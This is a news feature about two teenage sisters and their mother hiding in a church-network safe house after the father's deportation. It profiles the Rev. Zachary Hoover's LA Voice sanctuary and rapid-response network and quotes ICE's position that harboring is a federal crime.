Her sister is a year older but they're both seniors - one had a birthday late in the school year, the other, an early one. They were both born in the United States and until Donald Trump was elected President, the girls say, they felt like any middle-class family.
The teenage girls enrolled in a new school after making the safe house their home.
Their father had just bought a car. Their mother had just got new furniture for their rented house. They were planning where they'd be going to college. They knew they'd go; their parents had made that clear from when they were little.
"It was about a year ago," says one of the girls. "It was a regular day. My dad dropped us off at school like usual." They wished him good luck, because on that day, he was heading to a residency appointment with ICE.
An immigrant from Mexico, he was in the process of normalizing his status, having been undocumented for years. They weren't nervous, though, because he was on his way to fixing everything, they believed.
It was a couple of months into the Trump administration and, despite trepidation, there were few examples of nonviolent, nonfelon offenders being deported.
So the girls said farewell to their father, expecting he'd pick them up after school.
They haven't seen him since.
He was detained and deported that day, says his family, for entering the country illegally multiple times, decades ago.
"We went home, packed all of our things, and we never went back," says the 18-year-old, tears rolling down her face. They left their father's new car and their mother's furniture behind. They grabbed a few changes of clothes. They left their home in under an hour and haven't returned.
"ICE destroyed my home," their mother recalls. But she had little time to grieve the loss of her husband or her possessions. Also originally from Mexico, she had overstayed a tourist visa many years ago and had no legal documents. If she was next, who would care for her children?
"Where would they live? Where would they go to school? Who would feed them?"
She begged friends for couches. The three of them spent hours, day after day, in malls, trying to figure out where they could sleep next. The mother, who trained in culinary school, was feeding fast food meals to her daughters.
"We became homeless for five months," says the older sister. "We moved schools. We went somewhere else because we had to leave the city. We were sleeping from house to house, anywhere we could find."
The girls rapidly became experts at not just hiding from the authorities but masking their emotions. "I put a smile on my face every day," says the younger daughter. "But deep down, I'm hurt. I'm hurting. You can't let them know what your fear is, because you don't know how others will react."
Two crosses on the wall are the sparse decorations in the apartment.
Their mother turned to a church, the one place where she felt she could talk. Someone there told her about an organization out of Los Angeles, called LA Voice. The group was a part of PICO National Network, one of the largest community-based efforts in the country, representing 1 million families in 150 cities and 17 states. The mission of PICO and LA Voice is clear and simple: Help congregations turn faith into action.
The minister who connected them"I think we can stand on very solid scriptural ground and say no, this is not Christian behavior," says the Rev. Zachary Hoover, executive director of LA Voice, of the escalation of deportations under the Trump administration. "We are asked to love our neighbors as ourselves. Ripping children away from their parents under the pretense of community safety when these are our neighbors and churchgoers? No."
He pauses and then repeats the word, "No."
The Rev. Zachary Hoover says he is inspired by people taking a moral stand and backing it with action.
Hoover, a youthful, slight, optimistic minister seems an unlikely organizer for a network directly sticking its thumb in the eye of the federal government on moral grounds. But then the ordained American Baptist minister, who is fluent in Spanish, begins to speak.
"My particular call in the gospel is to be in partnership and stand beside people who are most attacked, who are most at risk, who are most suffering," he says.
"It's been amazing and inspiring to see folks step up and take risks for both members of their own community as well as people they've never met before because they believe what's happening is wrong and they have a moral obligation to do something about it."
Hoover helped organize a rapid response network of synagogues, mosques and churches. They can offer legal assistance, accompaniment to ICE check-ins, financial help, or in the case of the safe house network, direct sanctuary.
He says more than 2,000 congregations have trained in rapid response across the country, most of them in California. The network of safe houses has, at any one time, dozens of undocumented immigrant families who are hiding from ICE. The goal, says Hoover, is merely to keep families together.
By design, members of the network often don't know who is offering the help and who is being helped. Hoover keeps track generally by word of mouth from various congregants.
And while he is certain he is following God's law, he knows he could be seen as violating man's law.
"I'm not going to lie, that makes me very nervous," says Hoover. "There's a part of me sitting here talking to you, I think, gosh, should I be having this conversation. But the truth is, our folks are facing a much greater fear every day."
In a statement, US Immigration and Customs Enforcement said, "Knowingly harboring an alien is a federal crime."
ICE spokeswoman Sarah Rodriguez continued: "ICE does not exempt classes or categories of removable aliens from potential enforcement. All of those in violation of the immigration laws may be subject to immigration arrest, detention and, if found removable by final order, removal from the United States."
While current ICE policy does not encourage enforcement at sensitive places like schools, hospitals and places of worship, Hoover's network of safe houses can also tap into the protections of the Fourth Amendment against unreasonable searches.
The futureAt the apartment, one of the daughters shows the Jewish woman her financial aid package for a college where she's been accepted. The girls are continuing to make plans for the fall.
The two mothers clasp hands in the apartment.
"We're going to be someone in the future," says the younger sister. "We're going to show my parents that they raised two good daughters who are going to prove to them that we're going to be someone in life."
The Jewish woman and the undocumented mother hold hands. It's striking how similar their hands are.
"We're not going away," says the Jewish woman. "We're going to stand together. We're more unified than ever."
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